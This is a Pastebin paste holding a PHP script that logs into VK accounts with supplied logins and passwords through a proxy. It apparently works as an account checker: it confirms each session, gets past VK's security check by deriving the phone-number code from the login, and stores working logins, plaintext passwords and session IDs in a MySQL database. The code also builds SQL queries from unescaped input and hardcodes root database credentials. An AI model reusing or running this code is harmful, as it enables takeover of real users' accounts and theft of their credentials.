Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- header("X-Accel-Expires: 0");
- $login = $_GET['login'];
- $pass = $_GET['pass'];
- function login1($login, $pass){
- $post = "act=login&role=al_frame&expire=&captcha_sid=&captcha_key=&_origin=https%3A%2F%2Fvk.com&ip_h=7ab6dfc4b71e5a6f56&email=".$login."&pass=".$pass;
- $fp = fsockopen('*.*.*.*', 1234, $errno, $errstr, 30);
- if($fp){
- $out = "POST /?act=login HTTP/1.0\r\n";
- $out .= "Host: login.vk.com\r\n";
- $out .= "Connection: keep-alive\r\n";
- $out .= "Content-Length: ".strlen($post)."\r\n";
- $out .= "Cache-Control: max-age=0\r\n";
- $out .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,* /*;q=0.8\r\n";
- $out .= "Origin: https://vk.com";
- $out .= "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36\r\n";
- $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
- $out .= "Accept-Encoding: gzip,deflate,lzma,sdch\r\n";
- $out .= "Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4\r\n";
- $out .= "Cookie: remixlang=0; remixdt=7200; remixsslsid=1; remixflash=14.0.0; remixscreen_depth=32; remixseenads=0\r\n\r\n";
- fwrite($fp, $out);
- fwrite($fp, $post);
- $str = fread($fp, 1024);
- fclose($fp);
- }
- return $str;
- }
- $l1 = login1($login,$pass);
- preg_match("/location:(.*)[\r|\n]/siU",$l1,$a);
- if($a[1]){
- $location = trim($a[1]);
- }else{
- echo 1;
- fwrite(fopen('login.txt','a+'),"preg_match : 1 - ".$login."\n");
- #mail("kimsufi@mail.ru", "Error", "preg_match : 1 - ".$login);
- exit();
- }
- function login2($location){
- $fp = fsockopen('*.*.*.*', 1234, $errno, $errstr, 30);
- if($fp){
- $s = '/login.php';
- $ex = explode($s, $location);
- $get = $s.$ex[1];
- $out = "GET ".$get." HTTP/1.0\r\n";
- $out .= "Host: vk.com\r\n";
- $out .= "Connection: keep-alive\r\n";
- $out .= "Cache-Control: max-age=0\r\n";
- $out .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n";
- $out .= "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36\r\n";
- $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
- $out .= "Accept-Encoding: gzip,deflate,lzma,sdch\r\n";
- $out .= "Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4\r\n";
- $out .= "Cookie: remixlang=0; remixdt=7200; remixsslsid=1; remixflash=14.0.0; remixscreen_depth=32; remixseenads=0\r\n\r\n";
- fwrite($fp, $out);
- $str = fread($fp, 1024);
- fclose($fp);
- }
- return $str;
- }
- $l2 = login2($location);
- preg_match("/remixsid.*=(.*);/siU",$l2,$a);
- if(strlen($a[1])>0){
- /* Проверка 1 */
- $sid = str_replace(';', '', $a[0]);
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, 'http://vk.com/audio');
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_HEADER, 0);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($curl, CURLOPT_PROXY, '*.*.*.*:1234');
- curl_setopt($curl, CURLOPT_ENCODING, "");
- curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0');
- curl_setopt($curl, CURLOPT_POST, true);
- curl_setopt($curl, CURLOPT_POSTFIELDS, "act=search&al=1&gid=0&id=0&offset=0&performer=0&q=Michael+Jackson&sort=0");
- #curl_setopt($curl, CURLOPT_COOKIE, "remixsid=".$sid);
- curl_setopt($curl, CURLOPT_COOKIE, $sid);
- curl_setopt($ch,CURLOPT_TIMEOUT,30);
- $data = curl_exec($curl);
- curl_close($curl);
- preg_match_all("/audio_info([-0-9]+)_([0-9]+)[^0-9].*value=\"(.*)\".*<a href=\"\/search\?c\[q\]=.*\".*\">(.*)<\/a>.*<span class=\"title\">(.*)<\/span><span.*<div class=\"duration fl_r\">(.*)</siU",$data,$a);
- $c = count($a[1]);
- if($c>1){
- mysql_write($login,$pass,$sid);
- }else{
- if(stripos($data,'security_check')){
- preg_match_all("/login\.php(.*)</siU",$data,$a);
- if($a[1][0]){
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, 'http://vk.com/login.php'.$a[1][0]);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_HEADER, 0);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($curl, CURLOPT_PROXY, '*.*.*.*:1234');
- curl_setopt($curl, CURLOPT_ENCODING, "");
- curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0');
- #curl_setopt($curl, CURLOPT_COOKIE, "remixsid=".$sid);
- curl_setopt($curl, CURLOPT_COOKIE, $sid);
- curl_setopt($ch,CURLOPT_TIMEOUT,30);
- $data = curl_exec($curl);
- curl_close($curl);
- preg_match_all("/hash: \'([0-9a-z]+)\'/siU",$data,$a);
- /* Если найден hash */
- if($a[1][0]){
- $code = substr($login, 2, -2);
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, 'http://vk.com/login.php?act=security_check');
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_HEADER, 0);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($curl, CURLOPT_PROXY, '*.*.*.*:1234');
- curl_setopt($curl, CURLOPT_ENCODING, "");
- curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0');
- curl_setopt($curl, CURLOPT_POST, true);
- curl_setopt($curl, CURLOPT_POSTFIELDS, "al=1&al_page=3&code=".$code."&hash=".$a[1][0]."&to=");
- #curl_setopt($curl, CURLOPT_COOKIE, "remixsid=".$sid);
- curl_setopt($curl, CURLOPT_COOKIE, $sid);
- curl_setopt($ch,CURLOPT_TIMEOUT,30);
- $data = curl_exec($curl);
- curl_close($curl);
- /***** Проверка 2 *****/
- if($data){
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, 'http://vk.com/audio');
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_HEADER, 0);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($curl, CURLOPT_PROXY, '*.*.*.*:1234');
- curl_setopt($curl, CURLOPT_ENCODING, "");
- curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0');
- curl_setopt($curl, CURLOPT_POST, true);
- curl_setopt($curl, CURLOPT_POSTFIELDS, "act=search&al=1&gid=0&id=0&offset=0&performer=0&q=Michael+Jackson&sort=0");
- #curl_setopt($curl, CURLOPT_COOKIE, "remixsid=".$sid);
- curl_setopt($curl, CURLOPT_COOKIE, $sid);
- curl_setopt($ch,CURLOPT_TIMEOUT,30);
- echo $data = curl_exec($curl);
- curl_close($curl);
- preg_match_all("/audio_info([-0-9]+)_([0-9]+)[^0-9].*value=\"(.*)\".*<a href=\"\/search\?c\[q\]=.*\".*\">(.*)<\/a>.*<span class=\"title\">(.*)<\/span><span.*<div class=\"duration fl_r\">(.*)</siU",$data,$a);
- #print_r($a);
- $c = count($a[1]);
- if($c>1){
- mysql_write($login,$pass,$sid);
- }else{
- echo '7';
- fwrite(fopen('login.txt','a+'),"finish : 7 - ".$login."\n");
- #mail("kimsufi@mail.ru", "Error", "finish : 7 - ".$login);
- exit();
- }
- }else{
- echo '6';
- fwrite(fopen('login.txt','a+'),"bad data (Проверка 2) : 6 - ".$login."\n");
- #mail("kimsufi@mail.ru", "Error", "bad data (Проверка 2) : 6 - ".$login);
- exit();
- }
- /********************/
- }else{
- echo '5';
- fwrite(fopen('login.txt','a+'),"bad hash : 5 - ".$login."\n");
- #mail("kimsufi@mail.ru", "Error", "bad hash : 5 - ".$login);
- exit();
- }
- /*********************/
- }else{
- echo '4';
- fwrite(fopen('login.txt','a+'),"security_check, preg_match : 4 - ".$login."\n");
- #mail("kimsufi@mail.ru", "Error", "security_check, preg_match : 4 - ".$login);
- exit();
- }
- }else{
- echo '3';
- fwrite(fopen('login.txt','a+'),"security_check : 3 - ".$login."\n");
- #mail("kimsufi@mail.ru", "Error", "security_check : 3 - ".$login);
- exit();
- }
- }
- }else{
- echo '2';
- fwrite(fopen('login.txt','a+'),"preg_match : 2 - ".$login."\n");
- #mail("kimsufi@mail.ru", "Error", "preg_match : 2 - ".$login);
- exit();
- }
- function mysql_write($login,$pass,$sid){
- #echo $sid;
- $mysql = mysql_connect('localhost', 'root', 'pass');
- mysql_select_db('music');
- $query = "REPLACE INTO sid VALUES ('".$login."','".$pass."','".$sid."')";
- mysql_query($query);
- mysql_close($mysql);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement